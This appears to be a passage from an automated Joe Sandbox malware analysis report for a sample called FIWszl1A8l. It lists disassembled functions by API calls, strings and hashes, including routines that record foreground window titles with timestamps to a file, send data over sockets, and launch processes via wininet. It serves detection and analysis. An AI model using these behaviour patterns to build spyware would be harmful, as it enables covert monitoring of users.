APIs

_memset.LIBCMT ref: 03FAEA03
_memset.LIBCMT ref: 03FAEA43
_memset.LIBCMT ref: 03FAEAC9
swprintf.LIBCMT ref: 03FAEAE8

Part of subcall function 03FB39C2: _malloc.LIBCMT ref: 03FB39DC

_memset.LIBCMT ref: 03FAEBC0
swprintf.LIBCMT ref: 03FAEBDF
_memset.LIBCMT ref: 03FAEC41
swprintf.LIBCMT ref: 03FAEC60

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$swprintf$_malloc
String ID:
API String ID: 1873853019-0
Opcode ID: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction ID: 32e6c3f391c3f737f3a82ef66755ecff9e351077b7bf169f12b5afc226b6bfe7
Opcode Fuzzy Hash: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction Fuzzy Hash: FF81C3F9A40700ABE720EF58DC85FAB77A4AF54710F184164EE095F386EB71E910C7A6

Function 00975A20 Relevance: 16.7, APIs: 11, Instructions: 227timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,7E81BFB0), ref: 00975A65
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00975B04
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00975B42
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00975B67
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00975C5F
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00975C80
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00975B8C

Part of subcall function 00971280: __CxxThrowException@8.LIBCMT ref: 00971290
Part of subcall function 00971280: DeleteCriticalSection.KERNEL32(00000000,?,00987E78), ref: 009712A1

InterlockedExchange.KERNEL32(?,00000000), ref: 00975CF1
timeGetTime.WINMM ref: 00975CF7
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00975D0B
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00975D14

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: 6ca77892d63902de3580cfd9e544d55e589d35f0ba6be75ad084a8cfa0437d35
Instruction ID: 4107221a7ba5862b60ce6914c8ce52ac88442f3453ba83a9a8f86203654f8c9b
Opcode Fuzzy Hash: 6ca77892d63902de3580cfd9e544d55e589d35f0ba6be75ad084a8cfa0437d35
Instruction Fuzzy Hash: B9A1F3B1A05B46AFD354DF6AC88479AFBE8FB08304F50862EE12DC7640D774A964CF94

Function 02D04CB0 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,7A8163DF,?,?,?,?,00000000,000000FF,00000000), ref: 02D04CE6
EnterCriticalSection.KERNEL32(?,7A8163DF,?,?,?,?,00000000,000000FF,00000000), ref: 02D04D0D
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 02D04D21
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 02D04D28

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 7406f71ce401349529a89e4309f619459d498eb0e14eea239b9f699805c8e011
Instruction ID: a694d45e6d585c61333239c79cd9b1c82a2625891c77e36baa21474dddb36c7f
Opcode Fuzzy Hash: 7406f71ce401349529a89e4309f619459d498eb0e14eea239b9f699805c8e011
Instruction Fuzzy Hash: B551B176A042008FC724DFA8E884B6AF7F5FF48710F104A2EE91A87780DB31AD14CB61

Function 00974C90 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,7E81BFB0,?,?,?,?,00000000,000000FF,00000000), ref: 00974CC6
EnterCriticalSection.KERNEL32(?,7E81BFB0,?,?,?,?,00000000,000000FF,00000000), ref: 00974CED
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 00974D01
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 00974D08

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 043527515987b928737e2d6287a6768b294673c81e5d012542d4c715a1732649
Instruction ID: a6f814c27aa954dda0e4183d693d07380c945d660b4c8731deba7eb38193df04
Opcode Fuzzy Hash: 043527515987b928737e2d6287a6768b294673c81e5d012542d4c715a1732649
Instruction Fuzzy Hash: 9A51B076A08A049FC721DFA8D985B6AF7F4FF88710F00452EE51ADB781E775A804CB91

Function 0282BD5F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0282BD81
_wcsrchr.LIBCMT ref: 0282BD89
_memset.LIBCMT ref: 0282BDC0
_wcsrchr.LIBCMT ref: 0282BDC8
_memset.LIBCMT ref: 0282BE43
_memset.LIBCMT ref: 0282BE6F
_memset.LIBCMT ref: 0282BE8A
_memset.LIBCMT ref: 0282BF29

Strings

D, xrefs: 0282BF35

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_wcsrchr
String ID: D
API String ID: 170005318-2746444292
Opcode ID: f6fa0b72b56112bd3c35845102393e6f1842eb526f784eef978a12b58a365560
Instruction ID: e531b08741d91b78134d4556acc06fa49ff396bd85f70a9d27388ab6c83f06bd
Opcode Fuzzy Hash: f6fa0b72b56112bd3c35845102393e6f1842eb526f784eef978a12b58a365560
Instruction Fuzzy Hash: C951C37994032C7ADB20EB64CD85FEE73789F14704F404595E60DE6080EB70A688CFA6

Function 03FB065B Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03FB067D
_wcsrchr.LIBCMT ref: 03FB0685
_memset.LIBCMT ref: 03FB06BC
_wcsrchr.LIBCMT ref: 03FB06C4
_memset.LIBCMT ref: 03FB073F
_memset.LIBCMT ref: 03FB076B
_memset.LIBCMT ref: 03FB0786
_memset.LIBCMT ref: 03FB0825

Strings

D, xrefs: 03FB0831

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_wcsrchr
String ID: D
API String ID: 170005318-2746444292
Opcode ID: f6fa0b72b56112bd3c35845102393e6f1842eb526f784eef978a12b58a365560
Instruction ID: 7bfd9e739f20977fd8030510cee43583bdd3f500324afef1c7e9a294760c4bb2
Opcode Fuzzy Hash: f6fa0b72b56112bd3c35845102393e6f1842eb526f784eef978a12b58a365560
Instruction Fuzzy Hash: DA51C6F295031EAADB20FB61CD45FEB7378AF58700F404595E609AA080EB719794CBA6

Function 02D0E730 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74stringtimeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0E751
GetForegroundWindow.USER32(?,76F923A0,00000000), ref: 02D0E759
GetWindowTextW.USER32(00000000,02D316F0,00000800), ref: 02D0E76F
_memset.LIBCMT ref: 02D0E78D
lstrlenW.KERNEL32(02D316F0,?,?,?,?,76F923A0,00000000), ref: 02D0E7AC
GetLocalTime.KERNEL32(?,?,?,?,?,76F923A0,00000000), ref: 02D0E7BD
wsprintfW.USER32 ref: 02D0E804

Part of subcall function 02D0E6B0: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,02D0E815,?,?,?,?,76F923A0,00000000), ref: 02D0E6BD
Part of subcall function 02D0E6B0: CreateFileW.KERNEL32(02D30D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,02D0E815,?,?,?,?,76F923A0,00000000), ref: 02D0E6D7
Part of subcall function 02D0E6B0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 02D0E6F2
Part of subcall function 02D0E6B0: lstrlenW.KERNEL32(?,00000000,00000000), ref: 02D0E6FF
Part of subcall function 02D0E6B0: WriteFile.KERNEL32(00000000,?,00000000), ref: 02D0E70A
Part of subcall function 02D0E6B0: CloseHandle.KERNEL32(00000000), ref: 02D0E711
Part of subcall function 02D0E6B0: ReleaseMutex.KERNEL32(00000000), ref: 02D0E71E

_memset.LIBCMT ref: 02D0E820

Strings

[, xrefs: 02D0E7FE

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: File_memset$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID: [
API String ID: 2192163267-4056885943
Opcode ID: f2392b7f64f35ef2112b540acea0f629b271d8332d66a1d6e04b3f07457853d6
Instruction ID: b322ead35781cc88d6b4f6efec02c4da7187f21c14c934d25ff1ad5e4ad22b57
Opcode Fuzzy Hash: f2392b7f64f35ef2112b540acea0f629b271d8332d66a1d6e04b3f07457853d6
Instruction Fuzzy Hash: A121B171E40129A6E7609F90EC46BBA73BDFF44700F048599B889A2380DE709D99CFE4

Function 028356E1 Relevance: 15.3, APIs: 10, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 02835703

Part of subcall function 0283881A: __mtinitlocknum.LIBCMT ref: 02838830
Part of subcall function 0283881A: __amsg_exit.LIBCMT ref: 0283883C

____lc_codepage_func.LIBCMT ref: 0283574A

Part of subcall function 0283AAD7: __getptd.LIBCMT ref: 0283AAD7

__getenv_helper_nolock.LIBCMT ref: 0283576C
_free.LIBCMT ref: 028357A3
_strlen.LIBCMT ref: 028357AA
__malloc_crt.LIBCMT ref: 028357B1
_strlen.LIBCMT ref: 028357C7
_strcpy_s.LIBCMT ref: 028357D5
__invoke_watson.LIBCMT ref: 028357EA
_free.LIBCMT ref: 028357F9

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_strlen$____lc_codepage_func__amsg_exit__getenv_helper_nolock__getptd__invoke_watson__lock__malloc_crt__mtinitlocknum_strcpy_s
String ID:
API String ID: 2128035972-0
Opcode ID: b058308d4fdfef1940e42f11e5b45edf41e2775cf3bd2bfbd0d08efe9f8df519
Instruction ID: 1bb0afbdc5138e617b0b64c1400278bd58c25dc8cf3a56da0cebb7ff4c0fa8b4
Opcode Fuzzy Hash: b058308d4fdfef1940e42f11e5b45edf41e2775cf3bd2bfbd0d08efe9f8df519
Instruction Fuzzy Hash: EB91847DC012599FDB23DFA8DC819ADBBFAEF09310B64002AE544EB250D7389941CF95

Function 03FB9FDD Relevance: 15.3, APIs: 10, Instructions: 269COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 03FB9FFF

Part of subcall function 03FBD116: __mtinitlocknum.LIBCMT ref: 03FBD12C
Part of subcall function 03FBD116: __amsg_exit.LIBCMT ref: 03FBD138

____lc_codepage_func.LIBCMT ref: 03FBA046

Part of subcall function 03FBF3D3: __getptd.LIBCMT ref: 03FBF3D3

__getenv_helper_nolock.LIBCMT ref: 03FBA068
_free.LIBCMT ref: 03FBA09F
_strlen.LIBCMT ref: 03FBA0A6
__malloc_crt.LIBCMT ref: 03FBA0AD
_strlen.LIBCMT ref: 03FBA0C3
_strcpy_s.LIBCMT ref: 03FBA0D1
__invoke_watson.LIBCMT ref: 03FBA0E6
_free.LIBCMT ref: 03FBA0F5

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_strlen$____lc_codepage_func__amsg_exit__getenv_helper_nolock__getptd__invoke_watson__lock__malloc_crt__mtinitlocknum_strcpy_s
String ID:
API String ID: 2128035972-0
Opcode ID: b058308d4fdfef1940e42f11e5b45edf41e2775cf3bd2bfbd0d08efe9f8df519
Instruction ID: 4433998923b967bdb7d3ac224d7520d7399778e49f3e895a63a568da075b79cc
Opcode Fuzzy Hash: b058308d4fdfef1940e42f11e5b45edf41e2775cf3bd2bfbd0d08efe9f8df519
Instruction Fuzzy Hash: 199190F5D0425A9FDF21EFAACC819EDBBB9FF49210F18406AE550AB250D7358952CF20

Function 02D03DE0 Relevance: 15.1, APIs: 10, Instructions: 117memorynetworkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,02D0398D,?,00000000,000000FF,00000000), ref: 02D03E05
LeaveCriticalSection.KERNEL32(?,?,?,02D0398D,?,00000000,000000FF,00000000), ref: 02D03E50
send.WS2_32(?,000000FF,00000000,00000000), ref: 02D03E6E
EnterCriticalSection.KERNEL32(?), ref: 02D03E81
LeaveCriticalSection.KERNEL32(?), ref: 02D03E94
HeapFree.KERNEL32(00000000,00000000,?,?,?,02D0398D,?,00000000,000000FF,00000000), ref: 02D03EBC
WSAGetLastError.WS2_32(?,?,02D0398D,?,00000000,000000FF,00000000), ref: 02D03EC7
EnterCriticalSection.KERNEL32(?,?,?,02D0398D,?,00000000,000000FF,00000000), ref: 02D03EDB
LeaveCriticalSection.KERNEL32(?), ref: 02D03F14
HeapFree.KERNEL32(00000000,00000000,?), ref: 02D03F51

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap$ErrorLastsend
String ID:
API String ID: 1701177279-0
Opcode ID: 287b2bbc65bf0e6177d361b6ad58950ce21137de55a06bb817c37a29dabbae6a
Instruction ID: c2e325daacdbf53db90b838ba1475e95f0613bf2a10b7387482687871b8b1e4f
Opcode Fuzzy Hash: 287b2bbc65bf0e6177d361b6ad58950ce21137de55a06bb817c37a29dabbae6a
Instruction Fuzzy Hash: 7141F5715046019FC7648F78D9C8BA7B7F8AB49304F458AADE85ACB390D731E845CB60

Function 02D04F30 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 02D04F63
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 02D04F78
WSASetLastError.WS2_32(00002746), ref: 02D04F8A
LeaveCriticalSection.KERNEL32(000002FF), ref: 02D04F91
timeGetTime.WINMM ref: 02D04FBF
timeGetTime.WINMM ref: 02D04FE7
SetEvent.KERNEL32(?), ref: 02D05025
InterlockedExchange.KERNEL32(?,00000001), ref: 02D05031
LeaveCriticalSection.KERNEL32(000002FF), ref: 02D05038
LeaveCriticalSection.KERNEL32(000002FF), ref: 02D0504B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 82841c400f2053694ec0a4f2e9818c0db3b21d2ff48c31681c890e8391f8092c
Instruction ID: f9c61c30e6245ad7ac27219eb27136376b38a9f97f3b668a286682f2e597299e
Opcode Fuzzy Hash: 82841c400f2053694ec0a4f2e9818c0db3b21d2ff48c31681c890e8391f8092c
Instruction Fuzzy Hash: 6341E331A402008BC7309F68D988F6ABBE6FF48314F018959E98AC77E1E335EC54CB40

Function 00974F10 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 00974F43
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 00974F58
WSASetLastError.WS2_32(00002746), ref: 00974F6A
LeaveCriticalSection.KERNEL32(000002FF), ref: 00974F71
timeGetTime.WINMM ref: 00974F9F
timeGetTime.WINMM ref: 00974FC7
SetEvent.KERNEL32(?), ref: 00975005
InterlockedExchange.KERNEL32(?,00000001), ref: 00975011
LeaveCriticalSection.KERNEL32(000002FF), ref: 00975018
LeaveCriticalSection.KERNEL32(000002FF), ref: 0097502B

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 418c7f6623d9ab7a32092d9b51cb10cd27355b97d52f8ea64e355d6d2f897b3a
Instruction ID: dcf66b6b58c709fbe2a66862f44f01d2d6f88855ec7a9772d31284a95aabe956
Opcode Fuzzy Hash: 418c7f6623d9ab7a32092d9b51cb10cd27355b97d52f8ea64e355d6d2f897b3a
Instruction Fuzzy Hash: 0E410032604A009FD720DF69D988B6AB7E9FF48310F158599E88ECB352E775E844CB81

Function 02D0C270 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0C2AE
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 02D0C2CC
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02D0C309
CloseHandle.KERNEL32(00000000), ref: 02D0C314
lstrlenW.KERNEL32(?), ref: 02D0C321
wsprintfW.USER32 ref: 02D0C345

Strings

%s %s, xrefs: 02D0C33F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite_memsetlstrlenwsprintf
String ID: %s %s
API String ID: 1326869720-2939940506
Opcode ID: 38ab7c1ef4b9d8123fa412a5ca342cc86060a920dc77085160d2eee4f53fb6fb
Instruction ID: 6efcd0301c1111316b0bef5c2cf8b7e1120ce6f85a34b43f331dbb227f733d74
Opcode Fuzzy Hash: 38ab7c1ef4b9d8123fa412a5ca342cc86060a920dc77085160d2eee4f53fb6fb
Instruction Fuzzy Hash: 3A31D532A502186BDB34DB64DC89FEF7378FB54311F40469ABA46A62C0DB305E48CFA4

Function 02D0C980 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88processstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 02D0C98D
_wcsrchr.LIBCMT ref: 02D0C9C7

Part of subcall function 02D07C80: LoadLibraryW.KERNEL32(wininet.dll), ref: 02D07CC3
Part of subcall function 02D07C80: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 02D07CD7
Part of subcall function 02D07C80: FreeLibrary.KERNEL32(00000000), ref: 02D07CF7

GetFileAttributesW.KERNEL32(-00000002), ref: 02D0C9E6
GetLastError.KERNEL32 ref: 02D0C9F1
_memset.LIBCMT ref: 02D0CA04
CreateProcessW.KERNEL32(00000000,-00000002,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 02D0CA31

Strings

WinSta0\Default, xrefs: 02D0CA2A
D, xrefs: 02D0CA23

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Library$AddressAttributesCreateErrorFileFreeLastLoadProcProcess_memset_wcsrchrlstrlen
String ID: D$WinSta0\Default
API String ID: 174883095-1101385590
Opcode ID: c9c60bc4db5109d555a470ca776a722498d07bcee4b19498663d4550f319b86a
Instruction ID: 0675967e2c46afb4d49c093d2e956d828239db6d9f2d85b7d25031a405572a12
Opcode Fuzzy Hash: c9c60bc4db5109d555a470ca776a722498d07bcee4b19498663d4550f319b86a
Instruction Fuzzy Hash: 8A112BB290010437D720E6A5AC8AFAFB76DDF94710F040126FE059A3D0EB359D09C6F1

Function 02D08159 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,A:\), ref: 02D08166
lstrcmpiW.KERNEL32(?,B:\), ref: 02D08176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 02D081A6
lstrlenW.KERNEL32(?), ref: 02D081B7
__wcsnicmp.LIBCMT ref: 02D081CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 02D08204
lstrcpyW.KERNEL32(?,?), ref: 02D08228
lstrcatW.KERNEL32(?,00000000), ref: 02D08233

Strings

A:\, xrefs: 02D08160
B:\, xrefs: 02D08170

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: lstrcmpilstrcpy$DeviceQuery__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 4249875308-1009255891
Opcode ID: 6501c81d47d97fcb9e13dcb6f80e32bf17d48db7f1c46b54ffbb0f12bfe5cca4
Instruction ID: 5dbf9bd1804ac554d6c78854c3c027d6c88f4abcc194eb897272cf696089ae29
Opcode Fuzzy Hash: 6501c81d47d97fcb9e13dcb6f80e32bf17d48db7f1c46b54ffbb0f12bfe5cca4
Instruction Fuzzy Hash: 54114271E412289ADB349F60DD84BAE7379EF54314F014498EE0AA3240E7749E19CB95

Function 02824DEF Relevance: 13.9, APIs: 9, Instructions: 440COMMON

Download Yara Rule

APIs

Part of subcall function 0282F0C6: _malloc.LIBCMT ref: 0282F0E0

_memset.LIBCMT ref: 02824E2B
_memset.LIBCMT ref: 02824E44
_memset.LIBCMT ref: 02824E54
_strcat_s.LIBCMT ref: 02824E97
_strcat_s.LIBCMT ref: 02824EB0
_strcat_s.LIBCMT ref: 02824EEC
_strcat_s.LIBCMT ref: 02824F05
__time64.LIBCMT ref: 028252B7
__localtime64.LIBCMT ref: 028252EE

Part of subcall function 02827AAF: __wcsnicmp.LIBCMT ref: 02827B8D

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _strcat_s$_memset$__localtime64__time64__wcsnicmp_malloc
String ID:
API String ID: 3592133475-0
Opcode ID: 9612d8c1e5366324d8b9188000d87f817137c3975bf1db378519ae119bbab18c
Instruction ID: c37b20005270fd4bea5008af3d5dc5d296092ff58590bc701196d04a0df6bbac
Opcode Fuzzy Hash: 9612d8c1e5366324d8b9188000d87f817137c3975bf1db378519ae119bbab18c
Instruction Fuzzy Hash: 7DF1B6B9940224AFD724DBA4CC85FDA73B9EF48300F404558E70EE7281EB75AA89CF55

Function 03FA96EB Relevance: 13.9, APIs: 9, Instructions: 440COMMON

Download Yara Rule

APIs

Part of subcall function 03FB39C2: _malloc.LIBCMT ref: 03FB39DC

_memset.LIBCMT ref: 03FA9727
_memset.LIBCMT ref: 03FA9740
_memset.LIBCMT ref: 03FA9750
_strcat_s.LIBCMT ref: 03FA9793
_strcat_s.LIBCMT ref: 03FA97AC
_strcat_s.LIBCMT ref: 03FA97E8
_strcat_s.LIBCMT ref: 03FA9801
__time64.LIBCMT ref: 03FA9BB3
__localtime64.LIBCMT ref: 03FA9BEA

Part of subcall function 03FAC3AB: __wcsnicmp.LIBCMT ref: 03FAC489

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _strcat_s$_memset$__localtime64__time64__wcsnicmp_malloc
String ID:
API String ID: 3592133475-0
Opcode ID: 9612d8c1e5366324d8b9188000d87f817137c3975bf1db378519ae119bbab18c
Instruction ID: e5d59ba111de203788649fd9247d55e6837fc385e2bb812d9f69244302431678
Opcode Fuzzy Hash: 9612d8c1e5366324d8b9188000d87f817137c3975bf1db378519ae119bbab18c
Instruction Fuzzy Hash: 7DF1A4F5900714ABD724DB64CC85FEBB3B8EF88700F408569E70AA7281EB71AA45CF55

Function 028356BF Relevance: 13.7, APIs: 9, Instructions: 205COMMON

Download Yara Rule

APIs

____lc_codepage_func.LIBCMT ref: 0283574A
__getenv_helper_nolock.LIBCMT ref: 0283576C
_free.LIBCMT ref: 028357A3
_strlen.LIBCMT ref: 028357AA
__malloc_crt.LIBCMT ref: 028357B1
_strlen.LIBCMT ref: 028357C7
_strcpy_s.LIBCMT ref: 028357D5
__invoke_watson.LIBCMT ref: 028357EA
_free.LIBCMT ref: 028357F9

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_strlen$____lc_codepage_func__getenv_helper_nolock__invoke_watson__malloc_crt_strcpy_s
String ID:
API String ID: 2056778627-0
Opcode ID: fb94a165544a799f799d92d1cfaadda03cf0e03ff00a903cef25901c42debaeb
Instruction ID: 805996d9ff2f16cd21a42441561744c97fbd46774e0f8a3114a668feb67a55c1
